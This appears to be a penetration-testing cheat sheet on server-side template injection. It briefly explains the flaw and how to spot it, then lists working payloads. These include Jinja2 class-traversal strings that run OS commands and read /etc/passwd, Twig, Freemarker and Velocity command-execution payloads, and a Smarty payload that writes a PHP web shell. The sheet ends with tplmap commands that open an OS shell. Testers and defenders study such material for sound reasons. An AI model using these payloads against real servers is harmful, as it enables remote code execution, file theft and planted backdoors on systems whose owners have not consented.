ssti

Server-Side Template Injection (SSTI)

What Is Broken and Why

SSTI occurs when user-supplied data is concatenated into a template string that is then rendered by a server-side template engine. Unlike XSS, execution happens on the server. Template engines provide access to the application runtime environment, enabling attackers to traverse object hierarchies, access internal classes, and ultimately execute arbitrary OS commands. The root cause is using templates as string formatting mechanisms fed with untrusted input rather than rendering only trusted template files.

Key Signals

• User input is reflected in responses as if processed (math expressions evaluated, not echoed)
• Parameters controlling page layout, email templates, error messages, or notification content
• {{7*7}} returns 49 (Jinja2, Twig); ${7*7} returns 49 (Freemarker, Velocity); <%= 7*7 %> returns 49 (ERB)
• Error messages referencing template engines (Jinja2, Twig, Freemarker, Velocity, Smarty, Pebble)
• Python/Java stack traces in response
• Custom error pages that echo request parameters

Methodology

1. Inject mathematical expressions using different template syntaxes and observe if they are evaluated:
   • {{7*7}} → 49 (Jinja2/Twig)
   • ${7*7} → 49 (Freemarker/Velocity/Mako)
   • #{7*7} → 49 (Ruby ERB variant)
   • <%= 7*7 %> → 49 (ERB, EJS)
2. Identify the template engine from syntax that evaluates and from error messages.
3. Use engine-specific payloads to access internal objects.
4. Escalate to reading files, then to OS command execution.
5. Automate detection and exploitation with tplmap.

Payloads & Tools

# Detection probes
TARGET/page?name={{7*7}}           # Jinja2, Twig
TARGET/page?name=${7*7}            # Freemarker, Velocity
TARGET/page?name=<%= 7*7 %>        # ERB
TARGET/page?name=#{7*7}            # Ruby
TARGET/page?name={{7*'7'}}         # Twig (returns 7777777, Jinja2 returns 49)

# Jinja2 (Python) — RCE via __mro__ traversal
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

# Jinja2 — config object read
{{config}}
{{config.items()}}

# Jinja2 — file read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}

# Jinja2 — RCE alternative
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

# Twig (PHP) — RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Freemarker (Java) — RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}

# Velocity (Java)
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))

# Smarty (PHP)
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

# tplmap automated detection and exploitation
tplmap -u "TARGET/page?name=*"
tplmap -u "TARGET/page?name=*" --os-shell
tplmap -u "TARGET/page" --data "name=*" --os-cmd "id"